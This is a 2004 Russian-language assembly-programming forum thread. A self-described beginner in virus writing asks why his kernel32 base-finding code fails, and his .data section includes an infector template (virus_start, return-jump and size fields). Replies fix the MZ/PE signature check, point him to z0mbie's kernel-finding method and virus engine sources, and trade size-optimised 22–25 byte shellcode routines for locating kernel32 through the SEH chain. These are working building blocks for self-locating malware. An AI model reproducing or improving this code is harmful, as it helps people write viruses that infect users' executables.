|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июл 13, 2004 16:34:58 Ерунда какая-то, если в .data лежит например только ? db "just a test",0 То нормально ищёт апи, а если в .data я инклудю структуры и кучу других данных вставляю, то CheckMZ не проходит, не могу понять в чём дело, вот собственно сам код:
start:
Call _Delta
_Delta:
sub dword ptr [esp], offset _Delta
_ReadSEH:
xor edx,edx
mov eax,fs:[edx]
dec edx
_SearchK32:
cmp [eax],edx
je _CheckK32
mov eax,dword [eax]
jmp _SearchK32
_CheckK32:
mov eax,[eax+4]
xor ax,ax
_SearchMZ:
cmp word ptr [eax],5A4Dh
je _CheckMZ
sub eax,10000h
jmp _SearchMZ
_CheckMZ:
mov edx,[eax+3ch]
cmp word ptr [eax+edx],"ZM"
jne _Exit
Соответсвенно first .data .data ? db "Choor test",0 second .data .data include fioexhdr.inc include mz.inc include pe.inc filename db 'somefile.exe',0 fileinfo fi_struc ? virus_start: rept 8192-5 nop endm return_here: db 0E9h save_eip dd ? virus_size equ $-virus_start db 8192 dup (?) virus_virtsize equ $-virus_start db 0 В первом случае работает во втором уходит в _Exit Я только только начал изучать вирусологию, прошу оказать помощь. Проштудировал весь www.wasm.ru |
|
|
Дата: Июл 13, 2004 17:02:12 > mov edx,[eax+3ch] > cmp word ptr [eax+edx],"ZM" Откуда MZ там где должен быть PE ??? |
|
|
Дата: Июл 13, 2004 18:01:52 Юзай метод z0mbie. Он самый лучший, стабильно работает в 98х и NT. Я его тебе и присоединяю. _297463583__K32man.inc |
|
|
Дата: Июл 13, 2004 18:24:09 2Dr.Golova: хмм... Да как бы вот это и идёт проверка на PE с помощью MZ, сначала нахожу сигнатуру MZ а потом уже ловлю PE. 2alex_rsd: а есть конкретный пример вируса с этим вычислением апи? |
|
|
Дата: Июл 13, 2004 18:33:40 choor > сначала нахожу сигнатуру MZ а потом уже ловлю PE. По коду это что-то не видно ;-) Где проверка на сигнатуру PE ? |
|
|
Дата: Июл 13, 2004 19:31:22 хмм, какая разница что там дальше? Говорю я дебагером смотрел выскакивает в _CheckMZ: mov edx,[eax+3ch] cmp word ptr [eax+edx],"ZM" jne _Exit И дальше не канает |
|
|
Дата: Июл 13, 2004 19:48:21 · Поправил: Asterix choor По твоим словам нельзя понять точно в каком месте у тебя вылетает, но всё-равно код должен быть приблизительно такой, для простоты примера базу я получаю через GetModuleHandle invoke GetModuleHandle, NULL
mov edx, eax
cmp WORD PTR [eax], 'ZM'
jne @PE_Error
mov eax, DWORD PTR [eax+03Ch]
cmp WORD PTR [eax+edx], 'EP'
jne @PE_Error |
|
|
Дата: Июл 13, 2004 23:48:15 2Asterix: хмм, интересно, можешь дать более полный код, а не только этот кусок? |
|
|
Дата: Июл 14, 2004 00:05:28 PE-сигнатура ваще-то DWORD..(Asterixy на память:) |
|
|
Дата: Июл 14, 2004 01:06:09 je_ Согласен, но в данном случае это не так важно ну чтоб быть совсем правильным то тогда нужно было писать: invoke GetModuleHandle, NULL
mov edx, eax
cmp WORD PTR [eax], IMAGE_DOS_SIGNATURE
jne @PE_Error
mov eax, DWORD PTR [eax+03Ch]
cmp DWORD PTR [eax+edx], IMAGE_NT_SIGNATURE
jne @PE_Error |
|
|
Дата: Июл 14, 2004 01:16:57 choor Более полный код чего? Можешь почитать Iczelion'а, статьи про PE файлы, и вобще лучше работать с полями PE заголовка через сигнатуры. |
|
|
Дата: Июл 14, 2004 01:56:31 |
|
|
Дата: Июл 14, 2004 13:22:30 Есть, конечно, и даже исходники движков. Сходи на сайт www.z0mbie.host.sk там найдешь, но там сложно. А через форум не пройдет - размер не тот. |
|
|
Дата: Авг 10, 2004 07:49:18 · Поправил: Black_mirror Предлагаю пооптимизировать поиск адреса kernel'а по размеру, у меня пока получилось 25 байт: 00402000 > $ 31F6 XOR ESI,ESI 00402002 . 64:AD LODS DWORD PTR FS:[ESI] 00402004 > 96 XCHG EAX,ESI 00402005 . AD LODS DWORD PTR DS:[ESI] 00402006 . 99 CDQ 00402007 . 66:42 INC DX 00402009 .^75 F9 JNZ SHORT seh.00402004 0040200B . AD LODS DWORD PTR DS:[ESI] 0040200C . 21D0 AND EAX,EDX 0040200E . 29D0 SUB EAX,EDX 00402010 > 01D0 ADD EAX,EDX 00402012 . 66:8138 4D5A CMP WORD PTR DS:[EAX],5A4D 00402017 .^75 F7 JNZ SHORT seh.00402010 00402019 |
|
|
Дата: Авг 10, 2004 08:58:29 22 байта. 00401A00 33F6 xor esi, esi 00401A02 64:AD lods [dword fs:esi] 00401A04 96 xchg eax, esi 00401A05 AD lods [dword ds:esi] 00401A06 09C0 or eax, eax 00401A08 ^ 79 FA jns short 00401A04 00401A0A AD lods [dword ds:esi] 00401A0B 48 dec eax 00401A0C 66:33C0 xor ax, ax 00401A0F 66:8138 4D5A cmp [word ds:eax], 5A4D 00401A14 ^ 75 F5 jnz short 00401A0B |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.094 |